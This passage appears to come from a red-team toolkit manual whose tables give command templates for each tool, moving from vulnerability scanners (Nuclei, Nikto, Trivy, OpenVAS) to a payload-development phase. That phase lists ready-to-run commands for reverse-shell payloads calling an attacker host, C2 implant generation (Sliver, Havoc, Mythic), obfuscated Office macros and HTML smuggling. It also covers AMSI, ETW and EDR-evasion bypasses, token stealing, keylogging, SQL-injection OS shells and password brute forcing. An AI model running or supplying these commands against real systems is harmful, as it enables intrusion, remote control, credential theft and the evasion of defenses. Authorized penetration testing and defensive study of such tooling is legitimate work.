Fast, community-powered vulnerability scanner with 5000+ templates.

Mode	Name	Command	Output
1	Basic Scan	nuclei -u {target} -o /opt/tsec/output/ 3.1.1_nuclei_{target}.txt	TXT
2	Severity Filter	nuclei -u {target} -s critical,high -o /opt/tsec/output/ 3.1.2_nuclei_severe_{target}.txt	TXT
3	Template Filter	nuclei -u {target} -t {template_dir} -o /opt/tsec/output/ 3.1.3_nuclei_custom_{target}.txt	TXT
4	List Scan	nuclei -l {url_list} -o /opt/tsec/output/ 3.1.4_nuclei_list.txt	TXT
5	JSON Export	nuclei -u {target} -je -o /opt/tsec/output/ 3.1.5_nuclei_{target}.json	JSON
6	Markdown Report	nuclei -u {target} -me /opt/tsec/output/ 3.1.6_nuclei_md_{target}/	MD
7	SARIF Export	nuclei -u {target} -se /opt/tsec/output/ 3.1.7_nuclei_{target}.sarif	SARIF
8	Tags Filter	nuclei -u {target} -tags cve,rce -o /opt/tsec/output/ 3.1.8_nuclei_tags_{target}.txt	TXT
9	Rate Limit	nuclei -u {target} -rl 100 -o /opt/tsec/output/ 3.1.9_nuclei_rate_{target}.txt	TXT
10	Full Audit	nuclei -u {target} -s critical,high,medium -je -me /opt/tsec/output/ 3.1.10_nuclei_full_{target}	ALL

Tool 3.2 — Nikto

Comprehensive web server scanner for vulnerabilities and misconfigurations.

Mode	Name	Command	Output
1	Basic Scan	nikto -h {target} -o /opt/tsec/output/ 3.2.1_nikto_{target}.txt	TXT
2	SSL Scan	nikto -h {target} -ssl -o /opt/tsec/output/ 3.2.2_nikto_ssl_{target}.txt	TXT

Table 22 – continued

Mode	Name	Command	Output
3	Tuning Scan	nikto -h {target} -Tuning {tune_code} -o /opt/tsec/ output/ 3.2.3_nikto_tuned_{target}.txt	TXT
4	CGI Scan	nikto -h {target} -Cgidirs all -o /opt/tsec/output/ 3.2.4_nikto_cgi_{target}.txt	TXT
5	Mutate	nikto -h {target} -mutate 3 -o /opt/tsec/output/ 3.2.5_nikto_mutate_{target}.txt	TXT
6	Database Check	nikto -h {target} -dbcheck -o /opt/tsec/output/ 3.2.6_nikto_dbcheck_{target}.txt	TXT
7	EVasion	nikto -h {target} -evasion {evasion_code} -o /opt/tsec/ output/ 3.2.7_nikto_evasion_{target}.txt	TXT
8	Plugins	nikto -h {target} -Plugins {plugin} -o /opt/tsec/output/ 3.2.8_nikto_plugins_{target}.txt	TXT
9	Form Auth	nikto -h {target} -id {user}: {pass} -o /opt/tsec/output/ 3.2.9_nikto_auth_{target}.txt	TXT
10	Full Scan	nikto -h {target} -ssl -Tuning x 6 -Cgidirs all -Plugins @ALL -o /opt/tsec/ output/ 3.2.10_nikto_full_{target}.txt	TXT

Tool 3.3 — SQLMap

Automatic SQL injection and database takeover tool.

Mode	Name	Command	Output
1	Basic Test	sqlmap -u "{url}" --batch -o /opt/tsec/output/ 3.3.1_sqlmap_{target}.txt	TXT
2	DBMS Enum	sqlmap -u "{url}" --dbs --batch -o /opt/tsec/output/ 3.3.2_sqlmap_dbs_{target}.txt	TXT
3	Tables Enum	sqlmap -u "{url}" -D {db} --tables --batch -o /opt/ tsec/output/ 3.3.3_sqlmap_tables_{target}.txt	TXT

Table 23 – continued

Mode	Name	Command	Output
4	Dump Data	sqlmap -u "{url}" -D {db} -T {table} --dump --batch -o /opt/tsec/output/3.3.4_sqlmap_dump_{target}.txt	TXT
5	OS Shell	sqlmap -u "{url}" --os-shell --batch -o /opt/tsec/output/3.3.5_sqlmap_shell_{target}.txt	TXT
6	Risk/Level	sqlmap -u "{url}" --level 5 --risk 3 --batch -o /opt/tsec/output/3.3.6_sqlmap_deep_{target}.txt	TXT
7	Tamper	sqlmap -u "{url}" --tamper {tamper} --batch -o /opt/tsec/output/3.3.7_sqlmap_tamper_{target}.txt	TXT
8	Cookie	sqlmap -u "{url}" --cookie "{cookie}" --batch -o /opt/tsec/output/3.3.8_sqlmap_cookie_{target}.txt	TXT
9	Request File	sqlmap -r {request_file} --batch -o /opt/tsec/output/3.3.9_sqlmap_request_{target}.txt	TXT
10	Full Takeover	sqlmap -u "{url}" --dbs --tables --dump --os-shell --batch -o /opt/tsec/output/3.3.10_sqlmap_full_{target}.txt	TXT

Tool 3.4 — Commix

Automated command injection vulnerability testing.

Mode	Name	Command	Output
1	URL Scan	commix -u "{url}" --batch -o /opt/tsec/output/3.4.1_commix_{target}.txt	TXT
2	POST Data	commix -u "{url}" --data "{post_data}" --batch -o /opt/tsec/output/3.4.2_commix_post_{target}.txt	TXT
3	Cookie	commix -u "{url}" --cookie "{cookie}" --batch -o /opt/tsec/output/3.4.3_commix_cookie_{target}.txt	TXT

Table 24 – continued

Mode	Name	Command	Output
4	Header	<code>commix -u "{url}" --header "{header}" --batch -o /opt/ tsec/output/ 3.4.4_commix_header_{target}.txt</code>	TXT
5	Level 3	<code>commix -u "{url}" --level 3 --batch -o /opt/tsec/output/ 3.4.5_commix_level3_{target}.txt</code>	TXT
6	Technique	<code>commix -u "{url}" --technique {tech} --batch -o /opt/tsec/ output/ 3.4.6_commix_tech_{target}.txt</code>	TXT
7	OS Shell	<code>commix -u "{url}" --os-shell --batch -o /opt/tsec/output/ 3.4.7_commix_shell_{target}.txt</code>	TXT
8	Enumeration	<code>commix -u "{url}" -- enumeration --batch -o /opt/ tsec/output/ 3.4.8_commix_enum_{target}.txt</code>	TXT
9	Request File	<code>commix -r {request_file} --batch -o /opt/tsec/output/ 3.4.9_commix_request_{target}.txt</code>	TXT
10	Full Test	<code>commix -u "{url}" --level 3 --technique all --os-shell --batch -o /opt/tsec/output/ 3.4.10_commix_full_{target}.txt</code>	TXT

Tool 3.5 — XSSStrike

Advanced XSS detection and exploitation suite.

Mode	Name	Command	Output
1	Single URL	<code>xsstrike -u "{url}" -o /opt/ tsec/output/ 3.5.1_xsstrike_{target}.txt</code>	TXT
2	Crawl	<code>xsstrike -u "{url}" --crawl -o /opt/tsec/output/ 3.5.2_xsstrike_crawl_{target}.txt</code>	TXT
3	Fuzz	<code>xsstrike -u "{url}" --fuzzer -o /opt/tsec/output/ 3.5.3_xsstrike_fuzz_{target}.txt</code>	TXT
4	Params	<code>xsstrike -u "{url}" --params -o /opt/tsec/output/ 3.5.4_xsstrike_params_{target}.txt</code>	TXT

Table 25 – continued

Mode	Name	Command	Output
5	JSON Output	<code>xsstrike -u "{url}" --json -o /opt/tsec/output/3.5.5_xsstrike_{target}.json</code>	JSON
6	Blind XSS	<code>xsstrike -u "{url}" --blind -o /opt/tsec/output/3.5.6_xsstrike_blind_{target}.txt</code>	TXT
7	Path	<code>xsstrike -u "{url}" --path -o /opt/tsec/output/3.5.7_xsstrike_path_{target}.txt</code>	TXT
8	Threads	<code>xsstrike -u "{url}" --threads 10 -o /opt/tsec/output/3.5.8_xsstrike_threads_{target}.txt</code>	TXT
9	File	<code>xsstrike -u "{url}" --file {payload_file} -o /opt/tsec/output/3.5.9_xsstrike_file_{target}.txt</code>	TXT
10	Full Scan	<code>xsstrike -u "{url}" --crawl --fuzzer --params --blind --threads 20 -o /opt/tsec/output/3.5.10_xsstrike_full_{target}.txt</code>	TXT

Tool 3.6 — DalFox

Modern, fast XSS vulnerability scanner and exploitation tool.

Mode	Name	Command	Output
1	URL Scan	<code>dalfox url {url} -o /opt/tsec/output/3.6.1_dalfox_{target}.txt</code>	TXT
2	File Scan	<code>dalfox file {url_list} -o /opt/tsec/output/3.6.2_dalfox_file.txt</code>	TXT
3	Pipe Scan	<code>cat {url_list} \ dalfox pipe -o /opt/tsec/output/3.6.3_dalfox_pipe.txt</code>	TXT
4	Mining	<code>dalfox url {url} --mining-dom --mining-dict -o /opt/tsec/output/3.6.4_dalfox_mining_{target}.txt</code>	TXT

Table 26 – continued

Mode	Name	Command	Output
5	Only Custom Payload	dalfox url {url} --only-custom-payload --custom-payload {payload_file} -o /opt/tsec/ output/ 3.6.5_dalfox_custom_{target}.txt	TXT
6	Blind	dalfox url {url} --blind {blind_url} -o /opt/tsec/ output/ 3.6.6_dalfox_blind_{target}.txt	TXT
7	Find SQLi	dalfox url {url} -- grep sqli -o /opt/tsec/output/ 3.6.7_dalfox_sqli_{target}.txt	TXT
8	Format JSON	dalfox url {url} --format json -o /opt/tsec/output/ 3.6.8_dalfox_{target}.json	JSON
9	WAF Evasion	dalfox url {url} --waf-evasion -o /opt/tsec/ output/ 3.6.9_dalfox_waf_{target}.txt	TXT
10	Full Scan	dalfox url {url} --mining-dom --mining-dict --waf-evasion --format json -o /opt/tsec/ output/ 3.6.10_dalfox_full_{target}.json	JSON

Tool 3.7 — OpenVAS / GVM

Full-featured vulnerability scanner with extensive database.

Mode	Name	Command	Output
1	Quick Scan	gvm-cli socket --xml "<create_target><name>{name}</name><hosts>{target}</hosts></create_target>" > / opt/tsec/output/ 3.7.1_openvas_target.xml	XML

Table 27 – continued

Mode	Name	Command	Output
2	Full Scan	gvm-cli socket --xml "<create_task><name>{task_name}</name><target id='{target_id}' /><config id='daba56c8-73ec-11df-a475-002264764cea' /></create_task>" > /opt/tsec/output/3.7.2_openvas_task.xml	XML
3	List Tasks	gvm-cli socket --xml "<get_tasks/>" > /opt/tsec/output/3.7.3_openvas_tasks.xml	XML
4	Get Report	gvm-cli socket --xml "<get_reports report_id='{report_id}' format_id='c1645568-627a-11e3-a660-406186ea4fc5' /" > /opt/tsec/output/3.7.4_openvas_report.pdf	PDF
5	Export XML	gvm-cli socket --xml "<get_reports report_id='{report_id}' format_id='5057e5cc-b825-11e4-9d0e-28d24461215b' /" > /opt/tsec/output/3.7.5_openvas_report.xml	XML
6	Export CSV	gvm-cli socket --xml "<get_reports report_id='{report_id}' format_id='c1645568-73ec-11df-a475-002264764cea' /" > /opt/tsec/output/3.7.6_openvas_report.csv	CSV
7	Start Task	gvm-cli socket --xml "<start_task task_id='{task_id}' />" > /opt/tsec/output/3.7.7_openvas_start.xml	XML
8	List Results	gvm-cli socket --xml "<get_results/>" > /opt/tsec/output/3.7.8_openvas_results.xml	XML

Table 27 – continued

Mode	Name	Command	Output
9	List Targets	<code>gvm-cli socket --xml "<get_targets/>" > /opt/tsec/ output/ 3.7.9_openvas_targets.xml</code>	XML
10	Full Workflow	<code>gvm-script cli scan-start "Full and fast" {target} > / opt/tsec/output/ 3.7.10_openvas_full.txt</code>	TXT

Tool 3.8 — Trivy

Comprehensive vulnerability scanner for containers and infrastructure.

Mode	Name	Command	Output
1	Image Scan	<code>trivy image {image} -o /opt/ tsec/output/ 3.8.1_trivy_image_{image}.txt</code>	TXT
2	FS Scan	<code>trivy fs {path} -o /opt/tsec/ output/ 3.8.2_trivy_fs_{target}.txt</code>	TXT
3	Repo Scan	<code>trivy repo {repo_url} -o / opt/tsec/output/ 3.8.3_trivy_repo.txt</code>	TXT
4	SBOM	<code>trivy image {image} --format spdx-json -o /opt/tsec/ output/ 3.8.4_trivy_sbom_{image}.json</code>	JSON
5	JSON Output	<code>trivy image {image} --format json -o /opt/tsec/output/ 3.8.5_trivy_{image}.json</code>	JSON
6	SARIF	<code>trivy fs {path} --format sarif -o /opt/tsec/output/ 3.8.6_trivy_{target}.sarif</code>	SARIF
7	Severity Filter	<code>trivy image {image} --severity HIGH,CRITICAL -o / opt/tsec/output/ 3.8.7_trivy_severe_{image}.txt</code>	TXT
8	Ignore Unfixed	<code>trivy image {image} --ignore-unfixed -o /opt/ tsec/output/ 3.8.8_trivy_fixed_{image}.txt</code>	TXT
9	Config Scan	<code>trivy config {path} -o /opt/ tsec/output/ 3.8.9_trivy_config_{target}.txt</code>	TXT

Table 28 – continued

Mode	Name	Command	Output
10	Full Scan	trivy image {image} --severity HIGH,CRITICAL --format json -o /opt/tsec/ output/ 3.8.10_trivy_full_{image}.json	JSON

Tool 3.9 — Grype

Fast vulnerability scanner for container images and filesystems.

Mode	Name	Command	Output
1	Image Scan	grype {image} -o /opt/tsec/ output/ 3.9.1_grype_image_{image}.txt	TXT
2	SBOM Input	grype sbom:{sbom_file} -o / opt/tsec/output/ 3.9.2_grype_sbom.txt	TXT
3	JSON Output	grype {image} -o json > /opt/ tsec/output/ 3.9.3_grype_{image}.json	JSON
4	CycloneDX	grype {image} -o cyclonedx-json > /opt/tsec/ output/ 3.9.4_grype_cyclonedx_{image}.json	JSON
5	SARIF	grype {image} -o sarif > / opt/tsec/output/ 3.9.5_grype_{image}.sarif	SARIF
6	Only Fixed	grype {image} --only-fixed -o /opt/tsec/output/ 3.9.6_grype_fixed_{image}.txt	TXT
7	Fail On	grype {image} --fail-on critical -o /opt/tsec/output/ 3.9.7_grype_critical_{image}.txt	TXT
8	Scope Squashed	grype {image} --scope squashed -o /opt/tsec/output/ 3.9.8_grype_squashed_{image}.txt	TXT
9	Add CPEs	grype {image} --add-cpes-if-none -o /opt/ tsec/output/ 3.9.9_grype_cpes_{image}.txt	TXT
10	Full Scan	grype {image} --only-fixed -o json > /opt/tsec/output/ 3.9.10_grype_full_{image}.json	JSON

Tool 3.10 — Wpscan

WordPress vulnerability scanner with extensive plugin/theme detection.

Mode	Name	Command	Output
1	Basic Scan	wpscan --url {url} -o /opt/tsec/output/ 3.10.1_wpscan_{target}.txt	TXT
2	Enumerate Plugins	wpscan --url {url} --enumerate p -o /opt/tsec/output/ 3.10.2_wpscan_plugins_{target}.txt	TXT
3	Enumerate Themes	wpscan --url {url} --enumerate t -o /opt/tsec/output/ 3.10.3_wpscan_themes_{target}.txt	TXT
4	Enumerate Users	wpscan --url {url} --enumerate u -o /opt/tsec/output/ 3.10.4_wpscan_users_{target}.txt	TXT
5	Brute Force	wpscan --url {url} --passwords {wordlist} --usernames {user} -o /opt/tsec/output/ 3.10.5_wpscan_brute_{target}.txt	TXT
6	Aggressive	wpscan --url {url} --plugins-detection aggressive -o /opt/tsec/output/ 3.10.6_wpscan_aggro_{target}.txt	TXT
7	Vulnerable Only	wpscan --url {url} --enumerate vp -o /opt/tsec/output/ 3.10.7_wpscan_vuln_{target}.txt	TXT
8	No Update	wpscan --url {url} --no-update -o /opt/tsec/output/ 3.10.8_wpscan_noupdate_{target}.txt	TXT
9	API Token	wpscan --url {url} --api-token {token} -o /opt/tsec/output/ 3.10.9_wpscan_api_{target}.txt	TXT

Table 30 – continued

Mode	Name	Command	Output
10	Full Enumeration	<pre>wpscan --url {url} --enumerate ap,at,cb,dbe,u,m --plugins-detection aggressive -o /opt/tsec/ output/ 3.10.10_wpscan_full_{target}.txt</pre>	TXT

Phase 4: Payload Development & Delivery

Develop, encode, and deliver payloads for exploitation. Create custom shellcode, implants, and delivery mechanisms tailored to the target environment.

Tool 4.1 — MSFVenom

Metasploit payload generator — the Swiss Army knife of payload creation.

Mode	Name	Command	Output
1	Windows Reverse TCP	<pre>msfvenom -p windows/x64/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o /opt/tsec/output/ 4.1.1_msfvenom_win_rev.exe</pre>	EXE
2	Linux Reverse TCP	<pre>msfvenom -p linux/x64/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o /opt/tsec/output/ 4.1.2_msfvenom_linux_rev.elf</pre>	ELF
3	MacOS Reverse TCP	<pre>msfvenom -p osx/x64/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f macho -o /opt/tsec/output/ 4.1.3_msfvenom_macos_rev.macho</pre>	MACHO
4	Web Payload PHP	<pre>msfvenom -p php/meterpreter/ reverse_tcp LHOST={lhost} LPORT={lport} -f raw -o /opt/ tsec/output/ 4.1.4_msfvenom_php_rev.php</pre>	PHP

Table 31 – continued

Mode	Name	Command	Output
5	Web Payload ASPX	msfvenom -p windows/x64/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f aspx -o /opt/tsec/output/ 4.1.5_msfvenom_aspx_rev.aspx	ASPX
6	Web Payload JSP	msfvenom -p java/ jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f raw -o /opt/tsec/output/ 4.1.6_msfvenom_jsp_rev.jsp	JSP
7	Python Payload	msfvenom -p cmd/unix/ reverse_python LHOST={lhost} LPORT={lport} -f raw -o /opt/ tsec/output/ 4.1.7_msfvenom_python_rev.py	PY
8	Android Payload	msfvenom -p android/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o /opt/tsec/output/ 4.1.8_msfvenom_android_rev.apk	APK
9	Encoded Payload	msfvenom -p windows/x64/ meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -e x64/xor -i 5 -f exe -o / opt/tsec/output/ 4.1.9_msfvenom_encoded.exe	EXE
10	List Formats	msfvenom --list formats > / opt/tsec/output/ 4.1.10_msfvenom_formats.txt	TXT

Tool 4.2 — Sliver C2

Modern cross-platform C2 framework with advanced implant generation.

Mode	Name	Command	Output
1	Generate Implant	sliver-server generate --mtls {lhost}:{lport} --os windows --arch amd64 --save /opt/ tsec/output/ 4.2.1_sliver_implant.exe	EXE

Table 32 – continued

Mode	Name	Command	Output
2	HTTPS Implant	sliver-server generate --http https://{lhost} --os linux --arch amd64 --save /opt/ tsec/output/ 4.2.2_sliver_https.elf	ELF
3	DNS Implant	sliver-server generate --dns {domain} --os macos --arch arm64 --save /opt/tsec/ output/4.2.3_sliver_dns.macho	MACHO
4	Staged Payload	sliver-server generate stager --lhost {lhost} --lport {lport} --format csharp --save /opt/tsec/output/ 4.2.4_sliver_stager.cs	CS
5	Shellcode	sliver-server generate --http {lhost}:{lport} --format shellcode --save /opt/tsec/ output/ 4.2.5_sliver_shellcode.bin	BIN
6	Service Binary	sliver-server generate --mtls {lhost}:{lport} --format service --save /opt/tsec/ output/ 4.2.6_sliver_service.exe	EXE
7	Shared Library	sliver-server generate --mtls {lhost}:{lport} --format shared --save /opt/tsec/ output/4.2.7_sliver_shared.so	SO
8	WireGuard	sliver-server generate --wg {lhost}:{lport} --os windows --arch amd64 --save /opt/ tsec/output/ 4.2.8_sliver_wg.exe	EXE
9	Profile Build	sliver-server profiles new --mtls {lhost} --http {domain} --format exe,shellcode {profile_name} > /opt/tsec/output/ 4.2.9_sliver_profile.txt	TXT
10	Implant List	sliver-server implants > / opt/tsec/output/ 4.2.10_sliver_implants.txt	TXT

Tool 4.3 — Havoc C2

Modern C2 framework with Demon agent and advanced evasion.

Mode	Name	Command	Output
1	Generate Demon	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format exe --output /opt/tsec/output/ 4.3.1_havoc_demon.exe</code>	EXE
2	Shellcode Build	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format shellcode --output /opt/tsec/output/ 4.3.2_havoc_shellcode.bin</code>	BIN
3	DLL Agent	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format dll --output /opt/tsec/output/ 4.3.3_havoc_dll.dll</code>	DLL
4	Service Binary	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format service-exe --output /opt/ tsec/output/ 4.3.4_havoc_service.exe</code>	EXE
5	PowerShell	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format powershell --output /opt/ tsec/output/ 4.3.5_havoc_ps1.ps1</code>	PS1
6	Custom Listener	<code>./havoc client -> listener create --name {name} --protocol http --hosts {lhost} --port {lport} --uris /api/v1,/data > /opt/tsec/ output/ 4.3.6_havoc_listener.txt</code>	TXT
7	Sleep Mask	<code>./havoc client -> payload generate --profile {profile} --sleep-obf --format exe --output /opt/tsec/output/ 4.3.7_havoc_sleep.exe</code>	EXE
8	Token Steal	<code>./havoc client -> token steal {pid} > /opt/tsec/output/ 4.3.8_havoc_token.txt</code>	TXT

Table 33 – continued

Mode	Name	Command	Output
9	Inline Execute	<code>./havoc client -> shellcode inject {pid} {shellcode_file} > /opt/tsec/output/ 4.3.9_havoc_inject.txt</code>	TXT
10	Full Evasion	<code>./havoc client -> payload generate --profile {profile} --arch x64 --format exe --sleep-obf --export /opt/ tsec/output/ 4.3.10_havoc_full.exe</code>	EXE

Tool 4.4 — Mythic

Collaborative red teaming platform with multi-agent support.

Mode	Name	Command	Output
1	Apollo Agent	<code>mythic-cli install github SpecterOps/apollo && mythic-cli start apollo > / opt/tsec/output/ 4.4.1_mythic_apollo.txt</code>	TXT
2	Poseidon Agent	<code>mythic-cli install github SpecterOps/poseidon && mythic-cli start poseidon > / opt/tsec/output/ 4.4.2_mythic_poseidon.txt</code>	TXT
3	Payload Create	<code>mythic-cli payload create --type apollo --c2-profile http --callback-host {lhost} > /opt/tsec/output/ 4.4.3_mythic_payload.txt</code>	TXT
4	Custom C2	<code>mythic-cli c2 create --type http --callback-host {lhost} --callback-port {lport} --get-uri /api/data > /opt/ tsec/output/ 4.4.4_mythic_c2.txt</code>	TXT
5	Callback Config	<code>mythic-cli payload create --type poseidon --callback-interval 10 --callback-jitter 20 > /opt/ tsec/output/ 4.4.5_mythic_callback.txt</code>	TXT

Table 34 – continued

Mode	Name	Command	Output
6	File Upload	mythic-cli file upload --file {local} --remote {remote_path} > /opt/tsec/output/4.4.6_mythic_upload.txt	TXT
7	Screenshot	mythic-cli action screenshot --payload {payload_id} > /opt/tsec/output/4.4.7_mythic_screenshot.png	PNG
8	Token Ops	mythic-cli action tokens --payload {payload_id} --action steal > /opt/tsec/output/4.4.8_mythic_tokens.txt	TXT
9	Keylog Start	mythic-cli action keylog --payload {payload_id} --action start > /opt/tsec/output/4.4.9_mythic_keylog.txt	TXT
10	Full Deploy	mythic-cli payload create --type apollo --c2-profile http,dns --callback-host {lhost} --format exe,shellcode > /opt/tsec/output/4.4.10_mythic_full.txt	TXT

Tool 4.5 — MacroPack

Generate obfuscated macros, VBS, and payloads for Office documents.

Mode	Name	Command	Output
1	VBA Macro	macro_pack.exe -t {payload_file} -o -G /opt/tsec/output/4.5.1_macropack_macro.doc	DOC
2	XLM Macro	macro_pack.exe -t {payload_file} --xlm -o -G /opt/tsec/output/4.5.2_macropack_xlm.xls	XLS
3	DDE Attack	macro_pack.exe --dde -t {payload_file} -G /opt/tsec/output/4.5.3_macropack_dde.docx	DOCX

Table 35 – continued

Mode	Name	Command	Output
4	Template Injection	macro_pack.exe -t {payload_file} --template -G /opt/tsec/output/ 4.5.4_macropack_template.dotm	DOTM
5	HTA Payload	macro_pack.exe -t {payload_file} --hta -G /opt/ tsec/output/ 4.5.5_macropack_hta.hta	HTA
6	SCT File	macro_pack.exe -t {payload_file} --sct -G /opt/ tsec/output/ 4.5.6_macropack_sct.sct	SCT
7	Obfuscation	macro_pack.exe -t {payload_file} --obfuscate -G /opt/tsec/output/ 4.5.7_macropack_obf.doc	DOC
8	Embed File	macro_pack.exe -t {payload_file} --embed {embedded} -G /opt/tsec/ output/ 4.5.8_macropack_embed.doc	DOC
9	Shortcut LNK	macro_pack.exe -t {payload_file} --shortcut -G /opt/tsec/output/ 4.5.9_macropack_shortcut.lnk	LNK
10	Full Evasion	macro_pack.exe -t {payload_file} --xlm --obfuscate --embed {stage2} -G /opt/tsec/output/ 4.5.10_macropack_full.xls	XLS

Tool 4.6 — Donut

Convert .NET assemblies to position-independent shellcode.

Mode	Name	Command	Output
1	Basic Generation	donut -f {assembly}.exe -o / opt/tsec/output/ 4.6.1_donut_shellcode.bin	BIN
2	Class/Method	donut -f {assembly}.dll -c {class} -m {method} -o /opt/ tsec/output/ 4.6.2_donut_targeted.bin	BIN

Table 36 – continued

Mode	Name	Command	Output
3	Parameters	donut -f {assembly}.exe -p '{parameters}' -o /opt/tsec/ output/4.6.3_donut_params.bin	BIN
4	Entropy Control	donut -f {assembly}.exe -e 2 -o /opt/tsec/output/ 4.6.4_donut_entropy.bin	BIN
5	Runtime Select	donut -f {assembly}.exe -r {runtime_dll} -o /opt/tsec/ output/ 4.6.5_donut_runtime.bin	BIN
6	AMSI Bypass	donut -f {assembly}.exe -a 1 -o /opt/tsec/output/ 4.6.6_donut_amsi.bin	BIN
7	WLDP Bypass	donut -f {assembly}.exe -y 1 -o /opt/tsec/output/ 4.6.7_donut_wldp.bin	BIN
8	Exit Mode	donut -f {assembly}.exe -x 1 -o /opt/tsec/output/ 4.6.8_donut_exit.bin	BIN
9	Compression	donut -f {assembly}.exe -z 2 -o /opt/tsec/output/ 4.6.9_donut_compressed.bin	BIN
10	Full Evasion	donut -f {assembly}.exe -a 1 -y 1 -e 3 -z 2 -o /opt/tsec/ output/4.6.10_donut_full.bin	BIN

Tool 4.7 — ScareCrow

EDR evasion payload creation framework with side-loading.

Mode	Name	Command	Output
1	Binary Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -o /opt/tsec/output/ 4.7.1_scarecrow_binary.exe	EXE
2	Control Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery control -o /opt/tsec/output/ 4.7.2_scarecrow_control.cpl	CPL
3	Excel Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery excel -o /opt/tsec/output/ 4.7.3_scarecrow_excel.xll	XLL

Table 37 – continued

Mode	Name	Command	Output
4	MSI Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery msi -o /opt/tsec/output/ 4.7.4_scarecrow_msi.msi	MSI
5	DLL Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery dll -o /opt/tsec/output/ 4.7.5_scarecrow_dll.dll	DLL
6	EDR Unhook	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -unhook -o /opt/tsec/ output/ 4.7.6_scarecrow_unhook.exe	EXE
7	Custom Process	ScareCrow -I {shellcode}.bin -domain {domain} -injection {process} -o /opt/tsec/ output/ 4.7.7_scarecrow_inject.exe	EXE
8	Syscall Obf	ScareCrow -I {shellcode}.bin -domain {domain} -syscall zww -o /opt/tsec/output/ 4.7.8_scarecrow_syscall.exe	EXE
9	Sandbox Evasion	ScareCrow -I {shellcode}.bin -domain {domain} -sandbox -o /opt/tsec/output/ 4.7.9_scarecrow_sandbox.exe	EXE
10	Full Evasion	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -unhook -sandbox -syscall direct -o /opt/tsec/ output/ 4.7.10_scarecrow_full.exe	EXE

Tool 4.8 — SharpShooter

Payload delivery framework for HTA, JS, VBS, and VBA.

Mode	Name	Command	Output
1	HTA Payload	SharpShooter.py --stageless --dotnetver 4 --payload hta --output /opt/tsec/output/ 4.8.1_sharpshooter_hta --rawsc {shellcode}.bin	HTA

Table 38 – continued

Mode	Name	Command	Output
2	JS Payload	SharpShooter.py --stageless --dotnetver 4 --payload js --output /opt/tsec/output/ 4.8.2_sharpshooter_js --rawsc {shellcode}.bin	JS
3	VBS Payload	SharpShooter.py --stageless --dotnetver 4 --payload vbs --output /opt/tsec/output/ 4.8.3_sharpshooter_vbs --rawsc {shellcode}.bin	VBS
4	VBA Payload	SharpShooter.py --stageless --dotnetver 4 --payload vba --output /opt/tsec/output/ 4.8.4_sharpshooter_vba --rawsc {shellcode}.bin	VBA
5	Staged Delivery	SharpShooter.py --payload js --output /opt/tsec/output/ 4.8.5_sharpshooter_staged --web {url} --rawsc {shellcode}.bin	JS
6	Anti-Sandbox	SharpShooter.py --stageless --payload js --sandbox --output /opt/tsec/output/ 4.8.6_sharpshooter_sandbox --rawsc {shellcode}.bin	JS
7	AMSI Bypass	SharpShooter.py --stageless --payload js --amsi --output /opt/tsec/output/ 4.8.7_sharpshooter_amsi --rawsc {shellcode}.bin	JS
8	Custom Key	SharpShooter.py --stageless --payload js --output /opt/ tsec/output/ 4.8.8_sharpshooter_key --rawsc {shellcode}.bin --key {key}	JS
9	HTML Smuggling	SharpShooter.py --stageless --payload js --smuggle --output /opt/tsec/output/ 4.8.9_sharpshooter_smuggle --rawsc {shellcode}.bin	HTML

Table 38 – continued

Mode	Name	Command	Output
10	Full Evasion	<pre>SharpShooter.py --stageless --payload js --sandbox --amsi --smuggle --output /opt/tsec/ output/ 4.8.10_sharpshooter_full --rawsc {shellcode}.bin</pre>	HTML

Tool 4.9 — Unicorn

PowerShell downgrade attack and shellcode injection tool.

Mode	Name	Command	Output
1	Reverse Shell	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} powershell > /opt/tsec/ output/4.9.1_unicorn_rev.ps1</pre>	PS1
2	Macro Attack	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} macro > /opt/tsec/output/ 4.9.2_unicorn_macro.txt</pre>	TXT
3	HTA Delivery	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} hta > /opt/tsec/output/ 4.9.3_unicorn_hta.txt</pre>	TXT
4	Certutil	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} certutil > /opt/tsec/output/ 4.9.4_unicorn_certutil.txt</pre>	TXT
5	Custom Shellcode	<pre>python3 unicorn.py {shellcode_file} powershell > /opt/tsec/output/ 4.9.5_unicorn_custom.ps1</pre>	PS1
6	Custom Encoding	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} powershell 5 > /opt/tsec/ output/ 4.9.6_unicorn_encoded.ps1</pre>	PS1
7	AMSI Bypass	<pre>python3 unicorn.py reverse_tcp {lhost} {lport} powershell --amsi > /opt/ tsec/output/ 4.9.7_unicorn_amsi.ps1</pre>	PS1

Table 39 – continued

Mode	Name	Command	Output
8	ETW Bypass	python3 unicorn.py reverse_tcp {lhost} {lport} powershell --etw > /opt/tsec/ output/4.9.8_unicorn_etw.ps1	PS1
9	Full Evasion	python3 unicorn.py reverse_tcp {lhost} {lport} powershell --amsi --etw > / opt/tsec/output/ 4.9.9_unicorn_full.ps1	PS1
10	Macro + HTA	python3 unicorn.py reverse_tcp {lhost} {lport} macro_hta > /opt/tsec/output/ 4.9.10_unicorn_macrohta.txt	TXT

Tool 4.10 — pwncat

Sophisticated post-exploitation platform and bind/reverse shell handler.

Mode	Name	Command	Output
1	Listener	pwncat-cs -lp {lport} > /opt/ tsec/output/ 4.10.1_pwncat_listener.txt	TXT
2	Connect Mode	pwncat-cs {target}:{port} > / opt/tsec/output/ 4.10.2_pwncat_connect_{target}.txt	TXT
